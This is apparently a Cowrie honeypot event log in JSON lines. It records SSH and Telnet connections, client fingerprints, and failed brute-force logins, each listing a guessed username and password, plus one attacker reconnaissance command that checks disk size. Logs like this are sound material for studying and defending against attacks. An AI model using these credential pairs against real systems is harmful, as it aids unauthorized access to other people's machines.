{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:53.356417Z","src_ip":"78.134.49.171","session":"b2f8b2e3a951","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:53.606754Z","src_ip":"78.134.49.171","session":"b2f8b2e3a951","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:53.609730Z","src_ip":"78.134.49.171","session":"b2f8b2e3a951","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:53.721673Z","src_ip":"78.134.49.171","session":"b2f8b2e3a951","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"21.3","message":"Connection lost after 21.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:11:53.727516Z","src_ip":"78.134.49.171","session":"b2f8b2e3a951","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.182.83.231","src_port":51662,"dst_ip":"10.17.0.5","dst_port":22,"session":"2cd47ea5590f","protocol":"ssh","message":"New connection: 5.182.83.231:51662 (10.17.0.5:22) [session: 2cd47ea5590f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:12:04.155998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:12:04.160841Z","src_ip":"5.182.83.231","session":"2cd47ea5590f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:12:04.277795Z","src_ip":"5.182.83.231","session":"2cd47ea5590f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fe123456","message":"login attempt [root/fe123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:12:04.774037Z","src_ip":"5.182.83.231","session":"2cd47ea5590f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:12:05.894209Z","src_ip":"5.182.83.231","session":"2cd47ea5590f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.141.59.195","src_port":42442,"dst_ip":"159.203.135.109","dst_port":22,"session":"05747406c321","protocol":"ssh","message":"New connection: 114.141.59.195:42442 (159.203.135.109:22) [session: 05747406c321]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:12:21.256449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:12:21.261162Z","src_ip":"114.141.59.195","session":"05747406c321","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:12:21.521672Z","src_ip":"114.141.59.195","session":"05747406c321","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"newpass","message":"login attempt [test/newpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:12:22.542243Z","src_ip":"114.141.59.195","session":"05747406c321","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:12:23.796312Z","src_ip":"114.141.59.195","session":"05747406c321","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.134.49.171","src_port":43406,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7138d55130b","protocol":"ssh","message":"New connection: 78.134.49.171:43406 (159.203.135.109:22) [session: e7138d55130b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:12:34.476063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:12:34.480626Z","src_ip":"78.134.49.171","session":"e7138d55130b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:12:35.033496Z","src_ip":"78.134.49.171","session":"e7138d55130b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wpuser","password":"wpuser123","message":"login attempt [wpuser/wpuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:12:35.870906Z","src_ip":"78.134.49.171","session":"e7138d55130b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:12:36.986177Z","src_ip":"78.134.49.171","session":"e7138d55130b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.255.52.36","src_port":36394,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe7885995ee6","protocol":"ssh","message":"New connection: 191.255.52.36:36394 (159.203.135.109:22) [session: fe7885995ee6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:13:09.631357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:13:09.636968Z","src_ip":"191.255.52.36","session":"fe7885995ee6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:13:09.825217Z","src_ip":"191.255.52.36","session":"fe7885995ee6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"terror","message":"login attempt [root/terror] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:13:10.524035Z","src_ip":"191.255.52.36","session":"fe7885995ee6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:13:11.665927Z","src_ip":"191.255.52.36","session":"fe7885995ee6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.231.213.159","src_port":46776,"dst_ip":"10.17.0.5","dst_port":23,"session":"59a82120fce3","protocol":"telnet","message":"New connection: 20.231.213.159:46776 (10.17.0.5:23) [session: 59a82120fce3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:13:40.936558Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.134.49.171","src_port":52146,"dst_ip":"159.203.135.109","dst_port":22,"session":"831f1e6b3f27","protocol":"ssh","message":"New connection: 78.134.49.171:52146 (159.203.135.109:22) [session: 831f1e6b3f27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:13:47.900069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:13:47.904950Z","src_ip":"78.134.49.171","session":"831f1e6b3f27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:13:48.019435Z","src_ip":"78.134.49.171","session":"831f1e6b3f27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"user_2020","message":"login attempt [root/user_2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:13:48.482967Z","src_ip":"78.134.49.171","session":"831f1e6b3f27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:13:49.605887Z","src_ip":"78.134.49.171","session":"831f1e6b3f27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.231.213.159","src_port":35002,"dst_ip":"10.17.0.5","dst_port":23,"session":"7336ef21ba7f","protocol":"telnet","message":"New connection: 20.231.213.159:35002 (10.17.0.5:23) [session: 7336ef21ba7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:13:55.355025Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":42632,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c4bce6fd3bc","protocol":"telnet","message":"New connection: 185.26.126.47:42632 (159.203.135.109:23) [session: 3c4bce6fd3bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:14:05.536622Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":32714,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d23ef51e816","protocol":"ssh","message":"New connection: 194.59.206.2:32714 (10.17.0.5:22) [session: 0d23ef51e816]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:14:08.140599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:14:08.145562Z","src_ip":"194.59.206.2","session":"0d23ef51e816","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:14:08.227156Z","src_ip":"194.59.206.2","session":"0d23ef51e816","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:14:08.313539Z","src_ip":"194.59.206.2","session":"0d23ef51e816","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.500852823257446,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:14:11.437252Z","src_ip":"20.231.213.159","session":"59a82120fce3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":40548,"dst_ip":"10.17.0.5","dst_port":23,"session":"a498a2434792","protocol":"telnet","message":"New connection: 103.115.172.252:40548 (10.17.0.5:23) [session: a498a2434792]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:14:22.223494Z"}
{"eventid":"cowrie.session.closed","duration":31.016413688659668,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:14:26.371327Z","src_ip":"20.231.213.159","session":"7336ef21ba7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.182.83.231","src_port":58538,"dst_ip":"10.17.0.5","dst_port":22,"session":"9485cc46d163","protocol":"ssh","message":"New connection: 5.182.83.231:58538 (10.17.0.5:22) [session: 9485cc46d163]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:14:40.465262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:14:40.470161Z","src_ip":"5.182.83.231","session":"9485cc46d163","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:14:40.587316Z","src_ip":"5.182.83.231","session":"9485cc46d163","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"redhat123","message":"login attempt [ubuntu/redhat123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:14:41.085563Z","src_ip":"5.182.83.231","session":"9485cc46d163","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:14:42.206743Z","src_ip":"5.182.83.231","session":"9485cc46d163","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.51950979232788,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:14:53.056015Z","src_ip":"185.26.126.47","session":"3c4bce6fd3bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.57414674758911,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:15:03.797549Z","src_ip":"103.115.172.252","session":"a498a2434792","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.231.213.159","src_port":45722,"dst_ip":"10.17.0.5","dst_port":23,"session":"54932a194ce3","protocol":"telnet","message":"New connection: 20.231.213.159:45722 (10.17.0.5:23) [session: 54932a194ce3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:15:53.288461Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":55304,"dst_ip":"159.203.135.109","dst_port":23,"session":"11170e241ce5","protocol":"telnet","message":"New connection: 202.91.32.11:55304 (159.203.135.109:23) [session: 11170e241ce5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:15:57.476477Z"}
